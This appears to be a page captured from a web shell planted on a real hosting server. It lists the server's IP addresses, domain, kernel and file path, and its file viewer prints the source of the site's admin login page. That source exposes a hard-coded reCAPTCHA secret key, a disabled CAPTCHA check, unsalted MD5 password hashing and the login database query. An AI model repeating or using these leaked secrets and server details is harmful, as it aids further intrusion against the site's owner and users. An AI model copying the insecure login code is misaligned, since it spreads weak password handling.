BLACKSITE
:
18.224.57.231
:
103.154.184.216 / www.astitvaad.com
:
Linux vps.readyhost.in 4.18.0-553.6.1.el8.x86_64 #1 SMP Thu May 30 04:13:58 UTC 2024 x86_64
:
/
home
/
astitvaad
/
public_html
/
admin
/
Upload File:
files >> /home/astitvaad/public_html/admin/index.php
<?php require '../connection.php'; session_start(); // If form submitted, insert values into the database. define('SECRET_KEY',"6Le5qtYUAAAAAEWyB5iibA_r8PM1YvpYd_08Xhw-"); if (isset($_POST['username'])){ // removes backslashes $username = mysqli_real_escape_string($conn,$_POST['username']); $password = mysqli_real_escape_string($conn,$_POST['password']); // if (isset($_POST['g-recaptcha-response'])) { // $secret = '6Le5qtYUAAAAAEWyB5iibA_r8PM1YvpYd_08Xhw-'; // require('../component/recaptcha/src/autoload.php'); // $recaptcha = new \ReCaptcha\ReCaptcha(SECRET_KEY, new \ReCaptcha\RequestMethod\SocketPost()); // $resp = $recaptcha->verify($_POST['g-recaptcha-response'], $_SERVER['REMOTE_ADDR']); // if (!$resp->isSuccess()) { // $data['success']='Error'; // }else{ //Checking is user existing in the database or not $query = "SELECT * FROM `user` WHERE username='$username' and password='".md5($password)."'"; $result = mysqli_query($conn,$query) or die(mysql_error()); $rows = mysqli_num_rows($result); if($rows==1){ $_SESSION['username'] = $username; header("Location: dashboard.php"); // Redirect user to index.php }else{ echo ("<SCRIPT LANGUAGE='JavaScript'> window.alert('Username/password is incorrect') window.location.href='index.php'; </SCRIPT>"); } // } // } } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content=""> <meta name="author" content=""> <title>ASTITVAA- Login</title> <link href="//maxcdn.bootstrapcdn.com/bootstrap/4.1.1/css/bootstrap.min.css" rel="stylesheet" id="bootstrap-css"> <script src="//maxcdn.bootstrapcdn.com/bootstrap/4.1.1/js/bootstrap.min.js"></script> <script src="//cdnjs.cloudflare.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script> <!-- Bootstrap core CSS--> <link href="vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet"> <!-- Custom fonts for this template--> <link href="vendor/fontawesome-free/css/all.min.css" rel="stylesheet" type="text/css"> <!-- Custom styles for this template--> <link href="css/sb-admin.css" rel="stylesheet"> <style> @import url('https://fonts.googleapis.com/css?family=Numans'); html,body{ background-image: url('http://getwallpapers.com/wallpaper/full/a/5/d/544750.jpg'); background-size: cover; background-repeat: no-repeat; height: 100%; font-family: 'Numans', sans-serif; } .container{ height: 100%; align-content: center; } .card{ height: 370px; margin-top: auto; margin-bottom: auto; width: 400px; background-color: rgba(0,0,0,0.5) !important; } .social_icon span{ font-size: 60px; margin-left: 10px; color: #FFC312; } .social_icon span:hover{ color: white; cursor: pointer; } .card-header h3{ color: white; } .social_icon{ position: absolute; right: 20px; top: -45px; } .input-group-prepend span{ width: 50px; background-color: #FFC312; color: black; border:0 !important; } input:focus{ outline: 0 0 0 0 !important; box-shadow: 0 0 0 0 !important; } .remember{ color: white; } .remember input { width: 20px; height: 20px; margin-left: 15px; margin-right: 5px; } .login_btn{ color: black; background-color: #FFC312; width: 100px; } .login_btn:hover{ color: black; background-color: white; } .links{ color: white; } .links a{ margin-left: 4px; } </style> </head> <body> <div class="container"> <div class="d-flex justify-content-center h-100"> <div class="card"> <div class="card-header"> <center><h2><img src="../images/logo.png"width="140px"height="60px"></h2></center> <div class="d-flex justify-content-end social_icon"> <span><i class="fab fa-facebook-square"></i></span> <span><i class="fab fa-google-plus-square"></i></span> <span><i class="fab fa-twitter-square"></i></span> </div> </div> <div class="card-body"> <form action=" " method="post" name="login"> <div class="input-group form-group"> <div class="input-group-prepend"> <span class="input-group-text"><i class="fas fa-user"></i></span> </div> <input type="text" id="username" class="form-control" name="username" placeholder="Enter Username" required="required"> </div> <div class="input-group form-group"> <div class="input-group-prepend"> <span class="input-group-text"><i class="fas fa-key"></i></span> </div> <input type="password" id="password" name="password" class="form-control" placeholder="Password" required="required"> </div> <div class="row align-items-center remember"> <!--<div class="g-recaptcha" data-sitekey="6Le5qtYUAAAAAC0BGG5jRxSqyp5hjwPOxNX3Kuto">--> <!-- </div> --> </div> <div class="form-group"> <input type="submit" name="submit" value="Login" class="btn float-right login_btn"> </div> </form> </div> <div class="card-footer"> <div class="d-flex justify-content-center links"> Don't have an account?<a href="#">Sign Up</a> </div> <div class="d-flex justify-content-center"> <a href="#">Forgot your password?</a> </div> </div> </div> </div> </div> <!-- Bootstrap core JavaScript--> <script src="vendor/jquery/jquery.min.js"></script> <script src="vendor/bootstrap/js/bootstrap.bundle.min.js"></script> <script src="https://www.google.com/recaptcha/api.js" async defer></script> <!-- Core plugin JavaScript--> <script src="vendor/jquery-easing/jquery.easing.min.js"></script> </body> </html>